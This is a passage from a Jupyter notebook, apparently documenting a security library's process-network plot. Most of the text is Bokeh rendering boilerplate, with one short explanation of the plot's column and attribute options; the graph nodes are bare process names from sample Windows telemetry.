Agent\\\\Agent\\\\MonitoringHost.exe\",\"text_font_size\":\"10pt\",\"x\":-0.8859897365194508,\"x_offset\":5,\"y\":0.21099156840529057,\"y_offset\":5},\"id\":\"4180\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"rundll32.exe\",\"text_font_size\":\"10pt\",\"x\":0.009472635088543555,\"x_offset\":5,\"y\":-0.07427238116516285,\"y_offset\":5},\"id\":\"4190\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"perfc.dat\",\"text_font_size\":\"10pt\",\"x\":0.2653169072200189,\"x_offset\":5,\"y\":-0.05739326066101649,\"y_offset\":5},\"id\":\"4196\",\"type\":\"Label\"},{\"attributes\":{\"fill_color\":{\"value\":\"#abdda4\"},\"size\":{\"value\":25}},\"id\":\"4156\",\"type\":\"Circle\"},{\"attributes\":{\"line_color\":{\"value\":\"#abdda4\"},\"line_width\":{\"value\":5}},\"id\":\"4136\",\"type\":\"MultiLine\"},{\"attributes\":{\"overlay\":{\"id\":\"4114\"}},\"id\":\"4110\",\"type\":\"BoxZoomTool\"},{\"attributes\":{},\"id\":\"4113\",\"type\":\"HelpTool\"},{\"attributes\":{\"tools\":[{\"id\":\"4108\"},{\"id\":\"4109\"},{\"id\":\"4110\"},{\"id\":\"4111\"},{\"id\":\"4112\"},{\"id\":\"4113\"},{\"id\":\"4174\"},{\"id\":\"4175\"},{\"id\":\"4176\"}]},\"id\":\"4115\",\"type\":\"Toolbar\"},{\"attributes\":{},\"id\":\"4112\",\"type\":\"ResetTool\"},{\"attributes\":{\"graph_layout\":{\"1234.exe\":[0.2920043777787248,0.40307193581620293],\"42424.exe\":[0.1718395998692014,0.4268649807655825],\"ASMHost.exe\":[-1.0,0.1788434332493711],\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\":[0.21246357282985687,0.2988936521969849],\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\":[-0.49325891568738983,-0.7478722523492244],\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\MonitoringHost.exe\":[-0.8859897365194508,0.21099156840529057],\"C:\\\\Windows\\\\System32\\\\cmd.exe\":[0.14558591292273712,-0.11419882757452116],\"C:\\\\Windows\\\\System32\\\\svchost.exe\":[0.8686737446415249,0.5042842983535453],\"WmiPrvSE.exe\":[0.899664311184538,0.4237305554976566],\"cmd.exe\":[0.00976177585195186,-0.17189790764248009],\"conhost.exe\":[-0.5702548615343969,-0.7850018606508093],\"cscript.exe\":[-0.9560173249286427,0.30412157558603736],\"doubleextension.pdf.exe\":[0.156722293174482,-0.2664129254744687],\"netsh.exe\":[0.06832203088743351,-0.24401667060801638],\"perfc.dat\":[0.2653169072200189,-0.05739326066101649],\"reg.exe\":[0.18209714883620237,0.10663990099750396],\"rundll32.exe\":[0.009472635088543555,-0.07427238116516285],\"sdopfjiowtbkjfnbeioruj.exe\":[0.2897534511372489,-0.15457215911156177],\"tsetup.1.exe\":[0.09287101603534852,-0.008210592872698215],\"vssadmin.exe\":[0.24097206121206763,-0.2335930627582164]}},\"id\":\"4135\",\"type\":\"StaticLayoutProvider\"}],\"root_ids\":[\"4089\"]},\"title\":\"Bokeh Application\",\"version\":\"2.4.2\"}};\n  const render_items = [{\"docid\":\"678804c8-2db0-4e87-8447-8bc578042ebb\",\"root_ids\":[\"4089\"],\"roots\":{\"4089\":\"b99d0801-740b-4be2-9cab-8a972955c09e\"}}];\n  root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n\n  }\n  if (root.Bokeh !== undefined) {\n    embed_document(root);\n  } else {\n    let attempts = 0;\n    const timer = setInterval(function(root) {\n      if (root.Bokeh !== undefined) {\n        clearInterval(timer);\n        embed_document(root);\n      } else {\n        attempts++;\n        if (attempts > 100) {\n          clearInterval(timer);\n          console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n        }\n      }\n    }, 10, root)\n  }\n})(window);",
      "application/vnd.bokehjs_exec.v0+json": ""
     },
     "metadata": {
      "application/vnd.bokehjs_exec.v0+json": {
       "id": "4089"
      }
     },
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<div style=\"display: table;\"><div style=\"display: table-row;\"><div style=\"display: table-cell;\"><b title=\"bokeh.plotting.figure.Figure\">Figure</b>(</div><div style=\"display: table-cell;\">id&nbsp;=&nbsp;'4089', <span id=\"4528\" style=\"cursor: pointer;\">&hellip;)</span></div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">above&nbsp;=&nbsp;[],</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">align&nbsp;=&nbsp;'start',</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">aspect_ratio&nbsp;=&nbsp;None,</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">aspect_scale&nbsp;=&nbsp;1,</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">background&nbsp;=&nbsp;None,</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">background_fill_alpha&nbsp;=&nbsp;1.0,</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">background_fill_color&nbsp;=&nbsp;'#ffffff',</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">below&nbsp;=&nbsp;[LinearAxis(id='4100', ...)],</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">border_fill_alpha&nbsp;=&nbsp;1.0,</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">border_fill_color&nbsp;=&nbsp;'#ffffff',</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">center&nbsp;=&nbsp;[Grid(id='4103', ...), Grid(id='4107', ...), Label(id='4180', ...), Label(id='4181', ...), Label(id='4182', ...), Label(id='4183', ...), Label(id='4184', ...), Label(id='4185', ...), Label(id='4186', ...), Label(id='4187', ...), Label(id='4188', ...), Label(id='4189', ...), Label(id='4190', ...), Label(id='4191', ...), Label(id='4192', ...), Label(id='4193', ...), Label(id='4194', ...), Label(id='4195', ...), Label(id='4196', ...), Label(id='4197', ...), Label(id='4198', ...), Label(id='4199', ...)],</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">css_classes&nbsp;=&nbsp;[],</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">disabled&nbsp;=&nbsp;False,</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">extra_x_ranges&nbsp;=&nbsp;{},</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">extra_x_scales&nbsp;=&nbsp;{},</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">extra_y_ranges&nbsp;=&nbsp;{},</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">extra_y_scales&nbsp;=&nbsp;{},</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">frame_height&nbsp;=&nbsp;None,</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">frame_width&nbsp;=&nbsp;None,</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">height&nbsp;=&nbsp;800,</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">height_policy&nbsp;=&nbsp;'auto',</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">hidpi&nbsp;=&nbsp;True,</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">inner_height&nbsp;=&nbsp;0,</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">inner_width&nbsp;=&nbsp;0,</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">js_event_callbacks&nbsp;=&nbsp;{},</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">js_property_callbacks&nbsp;=&nbsp;{},</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">left&nbsp;=&nbsp;[LinearAxis(id='4104', ...)],</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">lod_factor&nbsp;=&nbsp;10,</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">lod_interval&nbsp;=&nbsp;300,</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">lod_threshold&nbsp;=&nbsp;2000,</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">lod_timeout&nbsp;=&nbsp;500,</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">margin&nbsp;=&nbsp;(0, 0, 0, 0),</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">match_aspect&nbsp;=&nbsp;False,</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">max_height&nbsp;=&nbsp;None,</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">max_width&nbsp;=&nbsp;None,</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">min_border&nbsp;=&nbsp;5,</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">min_border_bottom&nbsp;=&nbsp;None,</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">min_border_left&nbsp;=&nbsp;None,</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">min_border_right&nbsp;=&nbsp;None,</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">min_border_top&nbsp;=&nbsp;None,</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">min_height&nbsp;=&nbsp;None,</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">min_width&nbsp;=&nbsp;None,</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">name&nbsp;=&nbsp;None,</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">outer_height&nbsp;=&nbsp;0,</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">outer_width&nbsp;=&nbsp;0,</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">outline_line_alpha&nbsp;=&nbsp;1.0,</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">outline_line_cap&nbsp;=&nbsp;'butt',</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">outline_line_color&nbsp;=&nbsp;'#e5e5e5',</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">outline_line_dash&nbsp;=&nbsp;[],</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">outline_line_dash_offset&nbsp;=&nbsp;0,</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">outline_line_join&nbsp;=&nbsp;'bevel',</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">outline_line_width&nbsp;=&nbsp;1,</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">output_backend&nbsp;=&nbsp;'canvas',</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">renderers&nbsp;=&nbsp;[GraphRenderer(id='4122', ...)],</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">reset_policy&nbsp;=&nbsp;'standard',</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">right&nbsp;=&nbsp;[],</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">sizing_mode&nbsp;=&nbsp;None,</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">subscribed_events&nbsp;=&nbsp;[],</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">syncable&nbsp;=&nbsp;True,</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">tags&nbsp;=&nbsp;[],</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">title&nbsp;=&nbsp;Title(id='4090', ...),</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">title_location&nbsp;=&nbsp;'above',</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">toolbar&nbsp;=&nbsp;Toolbar(id='4115', ...),</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">toolbar_location&nbsp;=&nbsp;'right',</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">toolbar_sticky&nbsp;=&nbsp;True,</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">visible&nbsp;=&nbsp;True,</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">width&nbsp;=&nbsp;800,</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">width_policy&nbsp;=&nbsp;'auto',</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">x_range&nbsp;=&nbsp;Range1d(id='4092', ...),</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">x_scale&nbsp;=&nbsp;LinearScale(id='4096', ...),</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">y_range&nbsp;=&nbsp;Range1d(id='4094', ...),</div></div><div class=\"4527\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">y_scale&nbsp;=&nbsp;LinearScale(id='4098', ...))</div></div></div>\n",
       "<script>\n",
       "(function() {\n",
       "  let expanded = false;\n",
       "  const ellipsis = document.getElementById(\"4528\");\n",
       "  ellipsis.addEventListener(\"click\", function() {\n",
       "    const rows = document.getElementsByClassName(\"4527\");\n",
       "    for (let i = 0; i < rows.length; i++) {\n",
       "      const el = rows[i];\n",
       "      el.style.display = expanded ? \"none\" : \"table-row\";\n",
       "    }\n",
       "    ellipsis.innerHTML = expanded ? \"&hellip;)\" : \"&lsaquo;&lsaquo;&lsaquo;\";\n",
       "    expanded = !expanded;\n",
       "  });\n",
       "})();\n",
       "</script>\n"
      ],
      "text/plain": [
       "Figure(id='4089', ...)"
      ]
     },
     "execution_count": 31,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "proc_df.head(70).mp_plot.network(\n",
    "    source_col=\"ParentProcessName\",\n",
    "    target_col=\"Process\"\n",
    ")"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "This has the same options as the `np.to_graph`\n",
    "accessor method:\n",
    "\n",
    "- source_col - Column for source nodes.\n",
    "- target_col - Column for target nodes.\n",
    "- source_attrs - Optional list of columns to use as source node attributes, by default None\n",
    "- target_attrs - Optional list of columns to use as target node attributes, by default None\n",
    "- edge_attrs - Optional list of columns to use as edge node attributes, by default None\n",
    "- graph_type - \"graph\" or \"digraph\" (for nx.DiGraph)\n",
    "\n",
    "In this case, they also cause the node and edge attributes\n",
    "to be displayed on the plot using the Bokeh HoverTool. Moving\n",
    "the mouse cursor over a node or edge will display the attributes.\n",
    "\n",
    "Note the attributes for source and target nodes are both\n",
    "shown with the HoverTool but only the values of populated attributes\n",
    "for that node type (source or target) are shown."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 41,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "\n",
       "    <div class=\"bk-root\">\n",
       "        <a href=\"https://bokeh.org\" target=\"_blank\" class=\"bk-logo bk-logo-small bk-logo-notebook\"></a>\n",
       "        <span id=\"5499\">Loading BokehJS ...</span>\n",
       "    </div>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": "\n(function(root) {\n  function now() {\n    return new Date();\n  }\n\n  const force = true;\n\n  if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n    root._bokeh_onload_callbacks = [];\n    root._bokeh_is_loading = undefined;\n  }\n\n  const JS_MIME_TYPE = 'application/javascript';\n  const HTML_MIME_TYPE = 'text/html';\n  const EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n  const CLASS_NAME = 'output_bokeh rendered_html';\n\n  /**\n   * Render data to the DOM node\n   */\n  function render(props, node) {\n    const script = document.createElement(\"script\");\n    node.appendChild(script);\n  }\n\n  /**\n   * Handle when an output is cleared or removed\n   */\n  function handleClearOutput(event, handle) {\n    const cell = handle.cell;\n\n    const id = cell.output_area._bokeh_element_id;\n    const server_id = cell.output_area._bokeh_server_id;\n    // Clean up Bokeh references\n    if (id != null && id in Bokeh.index) {\n      Bokeh.index[id].model.document.clear();\n      delete Bokeh.index[id];\n    }\n\n    if (server_id !== undefined) {\n      // Clean up Bokeh references\n      const cmd_clean = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n      cell.notebook.kernel.execute(cmd_clean, {\n        iopub: {\n          output: function(msg) {\n            const id = msg.content.text.trim();\n            if (id in Bokeh.index) {\n              Bokeh.index[id].model.document.clear();\n              delete Bokeh.index[id];\n            }\n          }\n        }\n      });\n      // Destroy server and session\n      const cmd_destroy = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n      cell.notebook.kernel.execute(cmd_destroy);\n    }\n  }\n\n  /**\n   * Handle when a new output is added\n   */\n  function handleAddOutput(event, handle) {\n    const output_area = handle.output_area;\n    const output = handle.output;\n\n    // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n    if ((output.output_type != \"display_data\") || (!Object.prototype.hasOwnProperty.call(output.data, EXEC_MIME_TYPE))) {\n      return\n    }\n\n    const toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n\n    if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n      toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n      // store reference to embed id on output_area\n      output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n    }\n    if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n      const bk_div = document.createElement(\"div\");\n      bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n      const script_attrs = bk_div.children[0].attributes;\n      for (let i = 0; i < script_attrs.length; i++) {\n        toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n        toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n      }\n      // store reference to server id on output_area\n      output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n    }\n  }\n\n  function register_renderer(events, OutputArea) {\n\n    function append_mime(data, metadata, element) {\n      // create a DOM node to render to\n      const toinsert = this.create_output_subarea(\n        metadata,\n        CLASS_NAME,\n        EXEC_MIME_TYPE\n      );\n      this.keyboard_manager.register_events(toinsert);\n      // Render to node\n      const props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n      render(props, toinsert[toinsert.length - 1]);\n      element.append(toinsert);\n      return toinsert\n    }\n\n    /* Handle when an output is cleared or removed */\n    events.on('clear_output.CodeCell', handleClearOutput);\n    events.on('delete.Cell', handleClearOutput);\n\n    /* Handle when a new output is added */\n    events.on('output_added.OutputArea', handleAddOutput);\n\n    /**\n     * Register the mime type and append_mime function with output_area\n     */\n    OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n      /* Is output safe? */\n      safe: true,\n      /* Index of renderer in `output_area.display_order` */\n      index: 0\n    });\n  }\n\n  // register the mime type if in Jupyter Notebook environment and previously unregistered\n  if (root.Jupyter !== undefined) {\n    const events = require('base/js/events');\n    const OutputArea = require('notebook/js/outputarea').OutputArea;\n\n    if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n      register_renderer(events, OutputArea);\n    }\n  }\n\n  \n  if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n    root._bokeh_timeout = Date.now() + 5000;\n    root._bokeh_failed_load = false;\n  }\n\n  const NB_LOAD_WARNING = {'data': {'text/html':\n     \"<div style='background-color: #fdd'>\\n\"+\n     \"<p>\\n\"+\n     \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n     \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n     \"</p>\\n\"+\n     \"<ul>\\n\"+\n     \"<li>re-rerun `output_notebook()` to attempt to load from CDN again, or</li>\\n\"+\n     \"<li>use INLINE resources instead, as so:</li>\\n\"+\n     \"</ul>\\n\"+\n     \"<code>\\n\"+\n     \"from bokeh.resources import INLINE\\n\"+\n     \"output_notebook(resources=INLINE)\\n\"+\n     \"</code>\\n\"+\n     \"</div>\"}};\n\n  function display_loaded() {\n    const el = document.getElementById(\"5499\");\n    if (el != null) {\n      el.textContent = \"BokehJS is loading...\";\n    }\n    if (root.Bokeh !== undefined) {\n      if (el != null) {\n        el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n      }\n    } else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(display_loaded, 100)\n    }\n  }\n\n\n  function run_callbacks() {\n    try {\n      root._bokeh_onload_callbacks.forEach(function(callback) {\n        if (callback != null)\n          callback();\n      });\n    } finally {\n      delete root._bokeh_onload_callbacks\n    }\n    console.debug(\"Bokeh: all callbacks have finished\");\n  }\n\n  function load_libs(css_urls, js_urls, callback) {\n    if (css_urls == null) css_urls = [];\n    if (js_urls == null) js_urls = [];\n\n    root._bokeh_onload_callbacks.push(callback);\n    if (root._bokeh_is_loading > 0) {\n      console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n      return null;\n    }\n    if (js_urls == null || js_urls.length === 0) {\n      run_callbacks();\n      return null;\n    }\n    console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n    root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n    function on_load() {\n      root._bokeh_is_loading--;\n      if (root._bokeh_is_loading === 0) {\n        console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n        run_callbacks()\n      }\n    }\n\n    function on_error(url) {\n      console.error(\"failed to load \" + url);\n    }\n\n    for (let i = 0; i < css_urls.length; i++) {\n      const url = css_urls[i];\n      const element = document.createElement(\"link\");\n      element.onload = on_load;\n      element.onerror = on_error.bind(null, url);\n      element.rel = \"stylesheet\";\n      element.type = \"text/css\";\n      element.href = url;\n      console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n      document.body.appendChild(element);\n    }\n\n    for (let i = 0; i < js_urls.length; i++) {\n      const url = js_urls[i];\n      const element = document.createElement('script');\n      element.onload = on_load;\n      element.onerror = on_error.bind(null, url);\n      element.async = false;\n      element.src = url;\n      console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n      document.head.appendChild(element);\n    }\n  };\n\n  function inject_raw_css(css) {\n    const element = document.createElement(\"style\");\n    element.appendChild(document.createTextNode(css));\n    document.body.appendChild(element);\n  }\n\n  \n  const js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-mathjax-2.4.2.min.js\"];\n  const css_urls = [];\n  \n\n  const inline_js = [\n    function(Bokeh) {\n      Bokeh.set_log_level(\"info\");\n    },\n    function(Bokeh) {\n    \n    \n    }\n  ];\n\n  function run_inline_js() {\n    \n    if (root.Bokeh !== undefined || force === true) {\n      \n    for (let i = 0; i < inline_js.length; i++) {\n      inline_js[i].call(root, root.Bokeh);\n    }\n    if (force === true) {\n        display_loaded();\n      }} else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(run_inline_js, 100);\n    } else if (!root._bokeh_failed_load) {\n      console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n      root._bokeh_failed_load = true;\n    } else if (force !== true) {\n      const cell = $(document.getElementById(\"5499\")).parents('.cell').data().cell;\n      cell.output_area.append_execute_result(NB_LOAD_WARNING)\n    }\n\n  }\n\n  if (root._bokeh_is_loading === 0) {\n    console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n    run_inline_js();\n  } else {\n    load_libs(css_urls, js_urls, function() {\n      console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n      run_inline_js();\n    });\n  }\n}(window));",
      "application/vnd.bokehjs_load.v0+json": ""
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "  <div class=\"bk-root\" id=\"fe104578-2514-48ae-9054-2d4e1a0a1713\" data-root-id=\"5500\"></div>\n"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": "(function(root) {\n  function embed_document(root) {\n    \n  const docs_json = {\"dade234b-7158-4cc5-81c4-91261bf2e2b4\":{\"defs\":[],\"roots\":{\"references\":[{\"attributes\":{\"below\":[{\"id\":\"5511\"}],\"center\":[{\"id\":\"5514\"},{\"id\":\"5518\"},{\"id\":\"5597\"},{\"id\":\"5598\"},{\"id\":\"5599\"},{\"id\":\"5600\"},{\"id\":\"5601\"},{\"id\":\"5602\"},{\"id\":\"5603\"},{\"id\":\"5604\"},{\"id\":\"5605\"},{\"id\":\"5606\"},{\"id\":\"5607\"},{\"id\":\"5608\"},{\"id\":\"5609\"},{\"id\":\"5610\"},{\"id\":\"5611\"},{\"id\":\"5612\"},{\"id\":\"5613\"},{\"id\":\"5614\"},{\"id\":\"5615\"},{\"id\":\"5616\"}],\"height\":800,\"left\":[{\"id\":\"5515\"}],\"renderers\":[{\"id\":\"5533\"}],\"title\":{\"id\":\"5501\"},\"toolbar\":{\"id\":\"5526\"},\"width\":800,\"x_range\":{\"id\":\"5503\"},\"x_scale\":{\"id\":\"5507\"},\"y_range\":{\"id\":\"5505\"},\"y_scale\":{\"id\":\"5509\"}},\"id\":\"5500\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"5539\"},\"glyph\":{\"id\":\"5552\"},\"group\":null,\"hover_glyph\":{\"id\":\"5547\"},\"selection_glyph\":{\"id\":\"5557\"},\"view\":{\"id\":\"5541\"}},\"id\":\"5540\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"C:\\\\Windows\\\\System32\\\\svchost.exe\",\"text_font_size\":\"10pt\",\"x\":0.6927587161229084,\"x_offset\":5,\"y\":-0.3047288583669071,\"y_offset\":5},\"id\":\"5601\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"doubleextension.pdf.exe\",\"text_font_size\":\"10pt\",\"x\":-0.2386714109730582,\"x_offset\":5,\"y\":-0.24301453218817076,\"y_offset\":5},\"id\":\"5615\",\"type\":\"Label\"},{\"attributes\":{\